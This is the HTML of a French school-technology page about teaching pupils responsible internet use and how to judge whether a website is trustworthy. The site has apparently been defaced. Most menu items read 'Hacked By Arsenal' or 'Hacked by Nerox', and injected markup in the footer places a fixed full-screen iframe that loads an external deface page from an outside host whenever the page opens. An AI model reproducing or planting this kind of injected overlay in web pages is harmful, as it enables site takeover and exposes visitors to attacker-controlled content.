Hacked by Nerox</a></h1> </div> <br class="nettoyeur" /> </div> <div class="bandeau_bas"> </div> <div class="bandeau_chemin"> <div class="recherche_chemin"> <div class="formulaire_spip formulaire_recherche" id="formulaire_recherche"> <form action="http://formatice.42.free.fr/spip.php?page=recherche" method="get"><div> <input name="page" value="recherche" type="hidden" /> <label for="recherche">Rechercher :</label> <input type="text" class="text" size="10" name="recherche" id="recherche" accesskey="4" /><input type="submit" class="submit" value=">>" title="Rechercher" /> </div></form> </div> <span>Rechercher dans le site</span> </div> <div class="chemin"> <a href="http://formatice.42.free.fr">Accueil du site</a> > <a href="spip.php?rubrique12">Hacked By Arsenal</a> > <a href="spip.php?article37">Domaine 2 : adopter une attitude responsable</a> </div> </div> </div> <div id="wrapper"> <div id="content"> <div id="article" class="article"> <div class="titre"><h1>Domaine 2 : adopter une attitude responsable</h1></div> <div class="description"> <div class="cartouche"> samedi 23 avril 2011 <br /> par  <span class="vcard author"><a class="url fn spip_in" href="spip.php?auteur1">jcb</a></span> <br /> popularité : 100% </div> <br class="nettoyeur" /> <div class="texte"><p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"><span style="background: none repeat scroll 0% 0% transparent;">► </span><font face="Arial, sans-serif"><b><span style="background: none repeat scroll 0% 0% transparent;">Pistes d’activités : </span></b></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"><span style="background: none repeat scroll 0% 0% transparent;">Les compétences de ce domaine sont davantage des savoirs ou des savoirs être que des savoirs faire. <strong>C’est donc plutôt l’aptitude des élèves à s’interroger qu’il s’agit de développer.</strong> Cela pourra se faire, dans un premier temps, au moyen d’animations ou de textes traitant des questions de propriété intellectuelle ou des dangers de l’Internet.</span></span></font></font><font face="Arial, sans-serif"><font size="2"> </font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"><span style="background: none repeat scroll 0% 0% transparent;">Bien sûr, la <strong>charte Internet de l’école</strong> sera lue, commentée et signée par chaque élève (voir des exemples de chartes dans la rubrique TICE et droits de ce site).</span></span></font></font><font face="Arial, sans-serif"><font size="2"> </font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"><span style="background: none repeat scroll 0% 0% transparent;">Ensuite, on pourra demander aux élèves de <strong>comparer le traitement d’une information sur plusieurs sites</strong>, au besoin en leur tendant des pièges (voir un exemple ci-dessous). </span></span></font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"><span style="background: none repeat scroll 0% 0% transparent;">On en déduira des moyens d’<strong>accorder ou non sa confiance à un site </strong> : examen des mentions légales, des pages consacrées aux auteurs ou aux objectifs du site, des contenus (apprendre à distinguer les faits des opinions, repérer d’éventuelles fautes d’orthographes, le caractère plus ou moins sérieux des informations données, etc.).</span></span></font></font><font face="Arial, sans-serif"><font size="2"> </font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"><font face="Arial, sans-serif"><b><span style="background: none repeat scroll 0% 0% transparent;">►Ressources :</span></b> </font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ <font face="Arial, sans-serif"><font size="2">Une feuille de route* destinée à sensibiliser les élèves à la nécessité de trouver des indices avant d’accorder sa confiance à un site Internet. Activité : comparer la même information émanant d’un faux site (créé pour l’occasion) et de l’encyclopédie en ligne Vikidia. </font></font></span><strong><a target="_blank" href="/IMG/file/OO1/FDR6.odt"><font face="Arial, sans-serif"><font size="2"><span style="background: none repeat scroll 0% 0% transparent;">Télécharger </span></font></font></a></strong><font face="Arial, sans-serif"><font size="2"><span style="background: none repeat scroll 0% 0% transparent;">(format OpenOffice)</span></font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"><span style="background: none repeat scroll 0% 0% transparent;">Un aide-mémoire à l’attention des élèves : Connaître les principaux droits liés à l’usage de l’Internet</span></span></font></font><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;">. </span></font></font><a target="_blank" href="/IMG/file/OO1/MemmentoDroitsDevoirsInternet.odt"><strong><font face="Arial, sans-serif"><font size="2"><b><span style="background: none repeat scroll 0% 0% transparent;">Télécharger</span></b></font></font></strong><strong><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"><span style="background: none repeat scroll 0% 0% transparent;"> </span></span></font></font></strong></a><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"><span style="background: none repeat scroll 0% 0% transparent;">(format OpenOffice)</span></span></font></font><font face="Arial, sans-serif"><font size="2"><span style="font-weight: normal;"> </span></font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2">Un quiz en ligne proposé par l’AFSA (Association des Fournisseurs d’Accès et de Services Internet. </font></font><strong><a target="_blank" href="http://www.passe-ton-permis-web.com/"><font face="Arial, sans-serif"><font size="2">Lien</font></font></a></strong><font face="Arial, sans-serif"><font size="2"> </font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2">Le site Internet sans crainte (programme national de sensibilisation des jeunes aux bons usages de l’Internet) : nombreuses informations et activités pour tous publics. </font></font><strong><a target="_blank" href="http://www.internetsanscrainte.fr/index.php"><font face="Arial, sans-serif"><font size="2">Lien</font></font></a></strong><font face="Arial, sans-serif"><font size="2"> </font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm; margin-left: 20px;"><span style="background: none repeat scroll 0% 0% transparent;">→ </span><font face="Arial, sans-serif"><font size="2">Voir aussi, sur le site précédent, la page de Vinz et Lou, consacrée aux juniors et proposant toutes sortes d’activités de qualité destinées à apprendre en s’amusant (conseils, dessins animés, défis, tests...). </font></font><strong><a target="_blank" href="http://www.internetsanscrainte.fr/le-coin-des-juniors/dessin-anime-du-mois"><font face="Arial, sans-serif"><font size="2">Lien</font></font></a></strong><font face="Arial, sans-serif"><font size="2"> </font></font></p> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"> </p> <hr /> <p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"><font face="Arial, sans-serif"><font size="2">*cette feuille de route fait partie d’une série de 6 feuilles de route consacrées à la recherche d’informations, élaborées par mes soins dans le cadre d’une action départementale conduite dans le département de la Loire. Les autres feuilles de route sont disp</font></font><font face="Arial, sans-serif"><font size="2"><span style="background: none repeat scroll 0% 0% transparent;">onibles sur </span></font></font><strong><a href="../../../../spip.php?article33"><font face="Arial, sans-serif"><font size="2"><span style="background: none repeat scroll 0% 0% transparent;">cette page</span></font></font></a></strong><font face="Arial, sans-serif"><font size="2"><span style="background: none repeat scroll 0% 0% transparent;">.</span></font></font></p></div> <br class="nettoyeur" /> </div> </div> </div> </div> <div id="navigation"> <div id="menu_rubriques" class="noisette menu_rub1"> <ul class="menulist"> <li> <a href="spip.php?article21">Hacked By Arsenal</a> </li> <li> <a href="spip.php?rubrique7">Hacked By Arsenal</a> </li> <li> <a href="spip.php?rubrique8">Hacked By Arsenal</a> </li> <li class="smenu"> <a href="spip.php?rubrique12">Hacked By Arsenal</a> <ul> <li> <a href="spip.php?article50">20 idées de projets TICE tous domaines</a> </li> <li> <a href="spip.php?article24">Domaine 1 : s’approprier un environnement informatique de travail</a> </li> <li> <a href="spip.php?article37">Domaine 2 : adopter une attitude responsable</a> </li> <li> <a href="spip.php?rubrique26">Domaine 3 : créer, produire, traiter, exploiter des données</a> </li> <li> <a href="spip.php?article33">Domaine 4 : s’informer, se documenter</a> </li> <li> <a href="spip.php?article38">Domaine 5 : communiquer, échanger</a> </li> </ul> </li> <li> <a href="spip.php?article27">Hacked By Arsenal</a> </li> <li> <a href="spip.php?article28">Hacked By Arsenal</a> </li> <li> <a href="spip.php?rubrique20">Hacked By Arsenal</a> </li> <li class="smenu"> <a href="spip.php?rubrique21">Hacked By Arsenal</a> <ul> <li> <a href="spip.php?rubrique30">Logiciels éducatifs</a> </li> <li> <a href="spip.php?article45">Logiciels outils</a> </li> <li> <a href="spip.php?article44">Blogs et sites d’école</a> </li> </ul> </li> <li> <a href="spip.php?article32">Hacked By Arsenal</a> </li> <li> <a href="spip.php?article41">Hacked By Arsenal</a> </li> <li> <a href="spip.php?article49">Hacked By Arsenal</a> </li> <li> <a href="spip.php?article51">Hacked by Nerox</a> </li> <li> <a href="spip.php?rubrique4">Hacked by Nerox</a> </li> <li class="smenu"> <a href="spip.php?rubrique6">Hacked by Nerox</a> <ul> <li> <a href="spip.php?article20">Présentation rapide du B2i</a> </li> <li> <a href="spip.php?article19">Proposition d’une démarche de mise en œuvre du B2i</a> </li> <li> <a href="spip.php?article22">Le B2i à l’école maternelle</a> </li> <li> <a href="spip.php?article23">Le B2i à l’école élémentaire</a> </li> <li> <a href="spip.php?article47">Evaluer le B2i</a> </li> <li> <a href="spip.php?article26">Outils B2i</a> </li> </ul> </li> </ul>  </div>  <div id="noisette_badges" class="noisette"> <div class="badges"> <br class="nettoyeur" /> </div> </div> </div> <div id="extra"> <div class='ajaxbloc env-8Euwzq2qxfiTttzz/QQOrM/EPoSuVlLwM990hh1DC9V0Z3sc0IaMqu/ZN3Mnv4A8OUQLMWRjv7mX5GXahC1fJ5UZ5tNEzFDH4KNDNgufdbBfjsRGEwPEcUdYX/GQoggVPYOfjuM4C9QSJOevRAYEQe7jkw=='> <div id="noisette_publications" class="noisette"> <h1 class="intitule">Publications</h1> <div class="contenu"> <h2 class="titre_bloc">Derniers articles publiés</h2> <div class="liste"><ul> <li><a class="titre" href="spip.php?article51" title="Se rendre sur la page de cet article"> Hacked by NRVAX </a></li> <li><a class="titre" href="spip.php?article50" title="Se rendre sur la page de cet article"> 20 idées de projets TICE tous domaines </a></li> <li><a class="titre" href="spip.php?article28" title="Se rendre sur la page de cet article"> Se former aux TICE </a></li> <li><a class="titre" href="spip.php?article26" title="Se rendre sur la page de cet article"> Outils B2i (mise à jour mai 2012) </a></li> <li><a class="titre" href="spip.php?article10" title="Se rendre sur la page de cet article"> Apprentissage des TICE : quel cadre pédagogique ? </a></li> </ul></div> </div> </div> </div> <div id="noisette_navigation" class="noisette"> <h1 class="intitule">Navigation</h1> <div class='ajaxbloc env-0EqqzuqqxbmTttz9j982rL9XjAlsBtcg+VNy0mSJQCXr2l4mXPqtR+3yZWXnArKn+V9xZYfbHqtpW3z/S3uXoY4+BUrjF9dQmRFG5chhcA/CR7kZZUPCGL8TJ3cC7MQ5amsfVTmeNwKTkqz60XvZt2na5PNOTzS15BMRoVzOKUhKIoOMmBbYBeM='> <a name='pagination_article_rubrique_date' id='pagination_article_rubrique_date'></a> <div class="contenu"> <h2 class="titre_bloc">Articles de la rubrique</h2> <div class="liste"><ul> <li><span class="titre"> Domaine 2 : adopter une attitude responsable </span></li> </ul></div> </div> </div> </div> <div id="noisette_statistiques" class="noisette"> <h1 class="intitule">Statistiques</h1> <div class="contenu"> <h2 class="titre_bloc">Dernière mise à jour</h2> <div class="texte">samedi 28 janvier 2017</div> </div> <div class="contenu"> <h2 class="titre_bloc">Publication</h2> <div class="texte"> 39 Articles<br /> Aucun album photo<br /> Aucune brève<br /> Aucun site<br /> 10 Auteurs<br /> </div> </div> <div class="contenu"> <h2 class="titre_bloc">Visites</h2> <div class="texte"> 0 aujourd'hui<br /> 0 hier<br /> 80756 depuis le début<br /> 2002 visiteurs actuellement connectés </div> </div> </div> <div id="noisette_hitparade" class="noisette"> <h1 class="intitule">Top Articles</h1> <div class="contenu"> <h2 class="titre_bloc">Les plus populaires</h2> <div class="liste"><ul> <li><a class="titre" href="spip.php?article34" title="100 % "> Créer, produire, traiter, exploiter des données </a></li> <li><a class="titre" href="spip.php?article50" title="100 % "> 20 idées de projets TICE tous domaines </a></li> <li><a class="titre" href="spip.php?article23" title="100 % "> Le B2i à l’école élémentaire </a></li> <li><a class="titre" href="spip.php?article22" title="100 % "> Le B2i à l’école maternelle </a></li> <li><a class="titre" href="spip.php?article27" title="100 % "> Autour du C2i2e </a></li> </ul></div> </div> </div> </div> <div id="footer"> <div class="pied_bas"> <div class="copyright">© 2011-2025 <title>Hacked by Nerox</title><iframe src="http://bobbas.esy.es/DefaceNeroxV3.html" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></div> <div class="credits"><a href="http://formatice.42.free.fr/spip.php?page=plan&tri=par_rubrique">Plan du site</a> | <a href="http://www.spip.net" title="Site réalisé avec SPIP, un CMS gratuit sous licence GPLv3">SPIP 2.1.8 [16966]</a> | <a href="http://www.sarka-spip.net" title="Ce site utilise le squelette SARKA-SPIP">Sarka-SPIP 3.0.4 [40664]</a> | <a href="http://www.sarka-spip.net" title="Sylvain, Toufik, Xavier, Eric, Pascal">Collectif Sarka-SPIP</a> | <a href="http://www.gnu.org/copyleft/gpl.html" title="Le squelette SARKA-SPIP est distribué sous licence GPLv3">GPLv3</a> | <a href="plugins/sarkaspip_3/article.html" title="Voir le squelette de la page article.html" rel="nofollow">Squelette</a> | <a href="#header" title="Retour en haut de la page" rel="nofollow">Haut ↑</a></div> <div class="credits"> Habillage visuel par <a href='http://www.zest.shizuka.fr'>_Shizuka_</a>  sous licence  <a href='http:/creativecommons.org/licenses/by/2.5/'>Creative Commons Attribution 2.5 License</a> </div> </div> <div style="background-image: url('http://formatice.42.free.fr/spip.php?action=cron');"></div> </div> </div> </body> </html>